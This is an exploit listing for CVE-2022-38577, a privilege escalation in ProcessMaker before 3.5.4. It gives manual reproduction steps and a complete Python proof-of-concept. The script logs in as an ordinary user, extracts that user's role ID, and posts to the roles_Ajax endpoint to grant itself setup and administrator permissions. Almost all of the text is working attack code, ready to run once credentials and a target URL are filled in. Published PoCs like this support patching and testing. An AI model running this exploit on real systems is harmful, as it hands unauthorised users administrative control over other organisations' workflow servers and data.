ProcessMaker Privilege Escalation

# Exploit Title: ProcessMaker - User Profile Privilege Escalation
# Description: ProcessMaker before v3.5.4 was discovered to contain insecure permissions in the user profile page. This vulnerability allows attackers to escalate normal users to Administrators. 
# Date: 20220822
# Exploit Author: Sornram Kampeera (Sornram9254)
# Vendor Homepage: https://www.processmaker.com
# Software Link: https://sourceforge.net/projects/processmaker/files/ProcessMaker/
# Version: ProcessMaker before v3.5.4 (Already Tested on 2.5.0, 2.5.2, 3.0 GA and 3.2.1)
# Tested on: Windows 11, Debian 11 (WSL2)
# CVE : CVE-2022-38577

"""
Privilege Escalation replication.
for 2.5.0 - 3.0 GA:
    1. Log in as normal user.
    2. Change "USR_ROLE" on post request form when updating profile information to "PROCESSMAKER_ADMIN".
    3. Refresh page to get new role.

for 3.2.1 and before:
    1. Log in as normal user.
    2. Get Role ID by request "/sysworkflow/en/neoclassic/roles/roles_Ajax?request=rolesList&_dc={epoch_time}"
    3. Get Permission ID by request "/sysworkflow/en/neoclassic/roles/data_rolesPermissions?rUID={Role_ID}&type=show"
    4. Update role to escalation privileges using POST Body request:
    POST /sysworkflow/en/neoclassic/roles/roles_Ajax
    request=assignPermissionToRoleMultiple&ROL_UID={Role_ID}&PER_UID={PERMISSION_ID}
"""

#!/usr/bin/python
# TODO: Optimize code [requests module], and Exception Handling.
# Replace the variables USERNAME, PASSWORD, and APP_URL.
import requests, json, re, argparse, sys
USER_AGENT = 'Mozilla/5.0'
APP_URL = "http://localhost:9994"
USERNAME = '__USER__'
PASSWORD = '__PASS__'

parser = argparse.ArgumentParser()
parser.add_argument("action", type=str, help="Add or Delete role permission.", nargs="?", default=".")

parser.add_argument("-a", "--add",      action="store_true",    help="Add role permission")
parser.add_argument("-d", "--delete",   action="store_true",    help="Delete role permission")
parser.add_argument("-l", "--list",     action="store_true",    help="List all roles")
args = parser.parse_args()
if args.add:
    action = "assign"
elif args.delete:
    action = "delete"
elif args.list:
    action = "list"
    print("All Permission UID")
    print("View more: https://wiki.processmaker.com/3.3/Roles")
    PERM_LIST = """
PER_UID: 00000000000000000000000000000001, PER_CODE: PM_LOGIN
PER_UID: 00000000000000000000000000000002, PER_CODE: PM_SETUP
PER_UID: 00000000000000000000000000000003, PER_CODE: PM_USERS
PER_UID: 00000000000000000000000000000004, PER_CODE: PM_FACTORY
PER_UID: 00000000000000000000000000000005, PER_CODE: PM_CASES
PER_UID: 00000000000000000000000000000006, PER_CODE: PM_ALLCASES
PER_UID: 00000000000000000000000000000007, PER_CODE: PM_REASSIGNCASE
PER_UID: 00000000000000000000000000000008, PER_CODE: PM_REPORTS
PER_UID: 00000000000000000000000000000009, PER_CODE: PM_SUPERVISOR
PER_UID: 00000000000000000000000000000010, PER_CODE: PM_SETUP_ADVANCE
PER_UID: 00000000000000000000000000000011, PER_CODE: PM_DASHBOARD
PER_UID: 00000000000000000000000000000012, PER_CODE: PM_WEBDAV
PER_UID: 00000000000000000000000000000013, PER_CODE: PM_DELETECASE
PER_UID: 00000000000000000000000000000014, PER_CODE: PM_EDITPERSONALINFO
PER_UID: 00000000000000000000000000000015, PER_CODE: PM_FOLDERS_VIEW
PER_UID: 00000000000000000000000000000016, PER_CODE: PM_FOLDERS_ADD_FOLDER
PER_UID: 00000000000000000000000000000017, PER_CODE: PM_FOLDERS_ADD_FILE
PER_UID: 00000000000000000000000000000018, PER_CODE: PM_CANCELCASE
PER_UID: 00000000000000000000000000000019, PER_CODE: PM_FOLDER_DELETE
PER_UID: 00000000000000000000000000000020, PER_CODE: PM_SETUP_LOGO
PER_UID: 00000000000000000000000000000021, PER_CODE: PM_SETUP_EMAIL
PER_UID: 00000000000000000000000000000022, PER_CODE: PM_SETUP_CALENDAR
PER_UID: 00000000000000000000000000000023, PER_CODE: PM_SETUP_PROCESS_CATEGORIES
PER_UID: 00000000000000000000000000000024, PER_CODE: PM_SETUP_CLEAR_CACHE
PER_UID: 00000000000000000000000000000025, PER_CODE: PM_SETUP_HEART_BEAT
PER_UID: 00000000000000000000000000000026, PER_CODE: PM_SETUP_ENVIRONMENT
PER_UID: 00000000000000000000000000000027, PER_CODE: PM_SETUP_PM_TABLES
PER_UID: 00000000000000000000000000000028, PER_CODE: PM_SETUP_LOGIN
PER_UID: 00000000000000000000000000000029, PER_CODE: PM_SETUP_DASHBOARDS
PER_UID: 00000000000000000000000000000030, PER_CODE: PM_SETUP_LANGUAGE
PER_UID: 00000000000000000000000000000031, PER_CODE: PM_SETUP_SKIN
PER_UID: 00000000000000000000000000000032, PER_CODE: PM_SETUP_CASES_LIST_CACHE_BUILDER
PER_UID: 00000000000000000000000000000033, PER_CODE: PM_SETUP_PLUGINS
PER_UID: 00000000000000000000000000000034, PER_CODE: PM_SETUP_USERS_AUTHENTICATION_SOURCES
PER_UID: 00000000000000000000000000000035, PER_CODE: PM_SETUP_LOGS
PER_UID: 00000000000000000000000000000036, PER_CODE: PM_DELETE_PROCESS_CASES
PER_UID: 00000000000000000000000000000037, PER_CODE: PM_EDITPERSONALINFO_CALENDAR
PER_UID: 00000000000000000000000000000038, PER_CODE: PM_UNCANCELCASE
PER_UID: 00000000000000000000000000000039, PER_CODE: PM_REST_API_APPLICATIONS
PER_UID: 00000000000000000000000000000040, PER_CODE: PM_EDIT_USER_PROFILE_FIRST_NAME
PER_UID: 00000000000000000000000000000041, PER_CODE: PM_EDIT_USER_PROFILE_LAST_NAME
PER_UID: 00000000000000000000000000000042, PER_CODE: PM_EDIT_USER_PROFILE_USERNAME
PER_UID: 00000000000000000000000000000043, PER_CODE: PM_EDIT_USER_PROFILE_EMAIL
PER_UID: 00000000000000000000000000000044, PER_CODE: PM_EDIT_USER_PROFILE_ADDRESS
PER_UID: 00000000000000000000000000000045, PER_CODE: PM_EDIT_USER_PROFILE_ZIP_CODE
PER_UID: 00000000000000000000000000000046, PER_CODE: PM_EDIT_USER_PROFILE_COUNTRY
PER_UID: 00000000000000000000000000000047, PER_CODE: PM_EDIT_USER_PROFILE_STATE_OR_REGION
PER_UID: 00000000000000000000000000000048, PER_CODE: PM_EDIT_USER_PROFILE_LOCATION
PER_UID: 00000000000000000000000000000049, PER_CODE: PM_EDIT_USER_PROFILE_PHONE
PER_UID: 00000000000000000000000000000050, PER_CODE: PM_EDIT_USER_PROFILE_POSITION
PER_UID: 00000000000000000000000000000051, PER_CODE: PM_EDIT_USER_PROFILE_REPLACED_BY
PER_UID: 00000000000000000000000000000052, PER_CODE: PM_EDIT_USER_PROFILE_EXPIRATION_DATE
PER_UID: 00000000000000000000000000000053, PER_CODE: PM_EDIT_USER_PROFILE_CALENDAR
PER_UID: 00000000000000000000000000000054, PER_CODE: PM_EDIT_USER_PROFILE_STATUS
PER_UID: 00000000000000000000000000000055, PER_CODE: PM_EDIT_USER_PROFILE_ROLE
PER_UID: 00000000000000000000000000000056, PER_CODE: PM_EDIT_USER_PROFILE_TIME_ZONE
PER_UID: 00000000000000000000000000000057, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_LANGUAGE
PER_UID: 00000000000000000000000000000058, PER_CODE: PM_EDIT_USER_PROFILE_COSTS
PER_UID: 00000000000000000000000000000059, PER_CODE: PM_EDIT_USER_PROFILE_PASSWORD
PER_UID: 00000000000000000000000000000060, PER_CODE: PM_EDIT_USER_PROFILE_USER_MUST_CHANGE_PASSWORD_AT_NEXT_LOGON
PER_UID: 00000000000000000000000000000061, PER_CODE: PM_EDIT_USER_PROFILE_PHOTO
PER_UID: 00000000000000000000000000000062, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_MAIN_MENU_OPTIONS
PER_UID: 00000000000000000000000000000063, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_CASES_MENU_OPTIONS
PER_UID: 00000000000000000000000000000064, PER_CODE: PM_REASSIGNCASE_SUPERVISOR"""
    print(PERM_LIST)
    sys.exit()
else:
    print("Example Permission UID")
    SAMPLE_PERM_LIST = """>>> PER_UID: 00000000000000000000000000000002, PER_CODE: PM_SETUP
>>> PER_UID: 00000000000000000000000000000010, PER_CODE: PM_SETUP_ADVANCE
>>> PER_UID: 00000000000000000000000000000033, PER_CODE: PM_SETUP_PLUGINS

python Processmaker-PoC.py --help
python Processmaker-PoC.py --list
python Processmaker-PoC.py --add 00000000000000000000000000000002
python Processmaker-PoC.py --delete 00000000000000000000000000000002"""
    print(SAMPLE_PERM_LIST)
    sys.exit()

PERMISSION_UID = args.action

loginData = "__notValidateThisFields__=[{'name':'USR_USERNAME','type':'text','label':'User','validate':'Any','required':'0'}]&"
loginData += "DynaformRequiredFields=[{'name':'USR_USERNAME','type':'text','label':'User','validate':'Any','required':'0'}]&"
loginData += "__DynaformName__=sysLogin&"
loginData += "form[BROWSER_TIME_ZONE_OFFSET]=25200&"
loginData += "form[USR_PASSWORD]=" + PASSWORD + "&"
loginData += "form[USR_USERNAME]=" + USERNAME + "&"
loginData += "form[USR_PASSWORD_MASK]=&"
loginData += "form[USER_ENV]=workflow&"
loginData += "form[USER_LANG]=en"

def getResponse(rMethod, rHeaders, rUrl,rData=None):
    SSL_VERIFY = False
    if rMethod == 'GET':
        response = requests.get(rUrl, headers=rHeaders, verify=SSL_VERIFY, allow_redirects=True)
    elif rMethod == "POST":
        response = requests.post(rUrl, data=rData, headers=rHeaders, verify=SSL_VERIFY, allow_redirects=True)
    else:
        print("Please choose correct answer")
    return response

getCookie = getResponse('POST',
                        {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': USER_AGENT, 'Connection': 'close'},
                        APP_URL + '/sys/en/neoclassic/login/sysLogin',
                        loginData).cookies['PHPSESSID']
if getCookie is not None:
    getUserID = getResponse( 'GET',
                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'},
                                APP_URL + '/sysworkflow/en/neoclassic/users/usersInit')
    USER_ID = re.findall(r"USR_UID\s=\s\"(\w{32})\"", getUserID.text, re.MULTILINE)[0]

    getRolesName = getResponse('POST',
                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie,'Content-Type' : 'application/x-www-form-urlencoded', 'Connection': 'close'},
                                APP_URL + '/sysworkflow/en/neoclassic/users/usersAjax',
                                'action=userData&USR_UID=' + USER_ID)
                                
    getRolesList = getResponse( 'GET',
                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'},
                                APP_URL + '/sysworkflow/en/neoclassic/roles/roles_Ajax?request=rolesList&_dc=')

    getRolesPermission = getResponse('POST',
                                {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'},
                                APP_URL + '/sysworkflow/en/neoclassic/roles/data_rolesPermissions?rUID=ROLE_UID&type=show')

    roleUID = re.findall(r"\"ROL_UID\":\"(\w{32})\",\"ROL_PARENT\":\"\",\"ROL_SYSTEM\":\"\w{32}\",\"SYS_CODE\":\"PROCESSMAKER\",\"ROL_CODE\":\"" + json.loads(getRolesName.text)['user']['USR_ROLE'] + "\"", getRolesList.text, re.MULTILINE)[0]

def actionRoleResponse():
    actionRoleStatus = getResponse('POST',
                                {'User-Agent': USER_AGENT,'Content-Type': 'application/x-www-form-urlencoded','Cookie': 'PHPSESSID=' + getCookie,'Connection': 'close'},
                                APP_URL + '/sysworkflow/en/neoclassic/roles/roles_Ajax',
                                'request=' + action + 'PermissionToRoleMultiple&ROL_UID=' + roleUID + '&PER_UID=' + PERMISSION_UID)
    return actionRoleStatus.status_code

if actionRoleResponse() == 200:
    print(action.capitalize() + " role successfully.")
elif actionRoleResponse() == 503:
    print("Role already exists.")
else:
    print("Error!")

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